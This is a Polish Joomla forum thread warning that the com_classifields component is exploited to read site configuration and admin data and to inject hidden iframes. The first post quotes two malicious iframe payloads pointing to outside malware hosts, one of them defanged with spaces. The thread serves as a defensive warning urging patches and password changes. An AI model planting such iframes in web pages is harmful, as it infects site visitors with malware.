Uwaga na dziurawy komponent ogłoszenia

[Aron]

Witam
Ciągnąc dalej rozpracowanie ataków na Joomla (dotyczy tego postu (http://www.forum.joomla.pl/forum/showthread.php?t=3623&page=2)) gdzie podałem doraźny sposób na zabezpieczenie komponentu com_classifields (wersja 1.3 pl) - dołożyłem do skryptu kod przechwytujący świńskie pliki i właśnie dzisiaj po dłuższej przerwie mój skrypt zadziałał i przechwycił plik config.php wykorzystywany przez włamywacza. Nie będę go publikował (nie jest to szkółka hakerska itp.) ale powiem co robi:
1. Włamywacz uruchamiając swój config.php na naszej stronie wczytuje klasę zawierającą funkcje połączeń do bazy danych,
2. Po inicjalizacji klasy włamywacz odczytuje zawartość naszego pliku configuration.php ładując to co mu trzeba do swoich zmiennych oraz wyświetlając sobie tę konfigurację w oknie swojej przeglądarki!
3. Włamywacz odczytuje z bazy nagłówki arytykułów i dokleja do nich swój kod iframe:

<iframe src="http://72.21.44.34/~ack/get.php?f=http://www.waszastrona.com/" width=1 height=1 style="visibility:hidden"></iframe>
Wcześniej był stosowany kod wklejany do modułu mod_mainmenu (ten jest rozszyfrowany):

<iframe src="http:// z c h x s i k p g z . b i z / d l / a d v 5 2 1 . p h p" height="1" width="1"></iframe> (wstawiłem spacje, żeby któryś tester nie wrzucił sobie świństwa do kompa.
4. Plik config.php znika sobie, a Wasza strona staje się źródłem trojanów itp.

Jeżeli ktoś miał już taki atak to radzę pozmieniać wszelkie hasła dostępne w configuration.php (czyli hasło bazy danych) oraz hasła użytkowników posiadających uprawnienia administratora joomla (w pliku config.php jest też kod odczytujący dane z tabeli użytkowników joomli.

Pozdrawiam Dudek Artur

[Dylek]

Autorzy juz przygotowali poprawke dla tego komponentu dosc dawno temu - to chyba ten plik (http://www.joomlapl.com/component/option,com_remository/Itemid,32/func,fileinfo/id,81/)

[Aron]

Autorzy juz przygotowali poprawke dla tego komponentu dosc dawno temu - to chyba ten plik (http://www.joomlapl.com/component/option,com_remository/Itemid,32/func,fileinfo/id,81/)
O nowej wersji komponentu wiem, ale świadcząc usługi serwisowe w branży komputerowej mam do czynienia z trojanami i wirusami non stop. Krążąc po sieci też widzę, że wiele osób ma jeszcze komponent ogłoszeń dziurawy, dlatego ten temat powinien być jednocześnie informacją o skutkach i przyczynach ataków na joomla (ew. mambo) i jej komponenty, jak również zaproszeniem dla administratorów na ciągłe sprawdzanie luk w zabezpieczeniach swoich serwisów (szczególnie jeżeli są to serwisy popularne).

Ku przestrodze powiem, że na własne oczy widziałem jak komputer u klienta został zainfekowany po uruchomieniu IE gdzie stroną startową była onet.pl :-)
Klient nawet nie zdążył adresu wpisać bo już miał stado okienek...
I godzinka czyszczenia kompa ze świństwa (a wymyślają coraz to lepsze sposoby na zaśmiecanie sprzętu).
Pozdrawiam.